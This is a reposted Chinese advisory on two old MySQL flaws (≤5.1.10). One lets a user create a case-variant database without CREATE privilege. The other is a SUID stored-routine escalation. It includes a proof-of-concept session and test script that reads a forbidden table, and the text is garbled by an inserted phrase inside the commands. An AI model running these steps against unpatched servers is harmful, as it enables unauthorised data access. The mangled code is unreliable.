MySQL权限提升与安全限制问题探讨

数据库 MySQL
以下的文章主要是讲述MySQL权限提升与安全限制绕过漏洞的实际应用,如果你对这一技术,心存好奇的话,以下的文章将会揭开它的神秘面纱。

以下的文章主要讲述的是MySQL权限提升与安全限制绕过漏洞的实际应用,我前几天在相关网站看见MySQL权限提升与安全限制绕过漏洞的实际应用的资料,觉得挺好,今天就拿出来供大家分享。

受影响系统:

MySQL(和PHP搭配之最佳组合) AB MySQL(和PHP搭配之最佳组合) <= 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL(和PHP搭配之最佳组合)是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

在MySQL(和PHP搭配之最佳组合)上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL(和PHP搭配之最佳组合)的文件系统支持区分大小写的文件名。

此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

测试方法:

【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】

1、创建数据库

  1. $ MySQL(和PHP搭配之最佳组合) -h my.MySQL(和PHP搭配之最佳组合).server -u sample -p -A sample  
  2. Enter password:   
  3. Welcome to the MySQL(和PHP搭配之最佳组合) monitor. Commands end with ; or \g.  
  4. Your MySQL(和PHP搭配之最佳组合) connection id is 263935 to server version: 4.1.16-standard  
  5. MySQL(和PHP搭配之最佳组合)> create database another;  
  6. ERROR 1044: Access denied for user 'sample'@'%' to database 'another'  
  7. MySQL(和PHP搭配之最佳组合)> create database sAmple;   
  8. Query OK, 1 row affected (0.00 sec)  

2、权限提升

  1. --disable_warnings  
  2. drop database if exists MySQL(和PHP搭配之最佳组合)test1;  
  3. drop database if exists MySQL(和PHP搭配之最佳组合)test2;  
  4. drop function if exists f_suid;  
  5. --enable_warnings  
  6. # Prepare playground  
  7. create database MySQL(和PHP搭配之最佳组合)test1;  
  8. create database MySQL(和PHP搭配之最佳组合)test2;  
  9. create user malory@localhost;  
  10. grant all privileges on MySQL(和PHP搭配之最佳组合)test1.* to malory@localhost;  
  11. # Create harmless (but SUID!) function  
  12. create function f_suid(i int) returns int return 0;  
  13. grant execute on function test.f_suid to malory@localhost;  
  14. use MySQL(和PHP搭配之最佳组合)test2;  
  15. # Create table in which malory@localhost will be interested but to which  
  16. # he won't have any access  
  17. create table t1 (i int);  
  18. connect (malcon, localhost, malory,,MySQL(和PHP搭配之最佳组合)test1);  
  19. # Correct malory@localhost don't have access to MySQL(和PHP搭配之最佳组合)test2.t1  
  20. --error ER_TABLEACCESS_DENIED_ERROR  
  21. select * from MySQL(和PHP搭配之最佳组合)test2.t1;  
  22. # Create function which will allow to exploit security hole  
  23. delimiter |;  
  24. create function f_evil ()  
  25. returns int  
  26. sql security invoker  
  27. begin  
  28. set @a:current_user();  
  29. set @b:= (select count(*) from MySQL(和PHP搭配之最佳组合)test2.t1);  
  30. return 0;  
  31. end|  
  32. delimiter ;|  
  33. # Again correct  
  34. --error ER_TABLEACCESS_DENIED_ERROR  
  35. select f_evil();  
  36. select @a, @b;  
  37. # Oops!!! it seems that f_evil() is executed in the context of  
  38. # f_suid() definer, so malory@locahost gets all info that he wants  
  39. select test.f_suid(f_evil());  
  40. select @a, @b;  
  41. connection default;  
  42. drop user malory@localhost;  
  43. drop database MySQL(和PHP搭配之最佳组合)test1;  
  44. drop database MySQL(和PHP搭配之最佳组合)test2;  

 

建议:

厂商补丁:MySQL(和PHP搭配之最佳组合) AB,目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

 

【编辑推荐】

  1. MySQL-Server连接在MySQL-Client下
  2. 正确解决MySQL中文乱码的实操
  3. 提高MySQL连接数,很简单
  4. MySQL数据库的同步实例的实际操作
  5. 实现MySQL自动启动很简单
责任编辑:佚名 来源: 博客园
相关推荐

2019-01-17 14:02:53

2010-06-12 13:04:03

MySQL连接池

2010-04-02 13:53:47

2024-05-08 16:44:40

TCPRST网络协议

2011-03-16 15:34:44

2011-02-25 13:42:45

Proftpd

2011-01-21 13:29:03

Sendmail

2016-11-23 15:48:05

iOS APPCache

2019-02-21 06:51:31

2009-09-23 10:19:05

UnixLinux安全

2010-01-06 18:33:56

JSON与XML

2009-11-10 15:45:55

路由交换机

2010-06-07 14:44:24

MySQL导入

2017-03-14 13:57:15

数据库权限分配探讨

2018-04-18 09:18:44

数据库MySQL存储过程

2012-10-29 13:15:02

2011-04-19 09:47:14

2010-02-04 11:15:28

C++模板限制

2013-07-23 10:36:02

RFID技术个人隐私安全隐私安全

2019-01-02 13:03:53

MySQL存储权限
点赞
收藏

51CTO技术栈公众号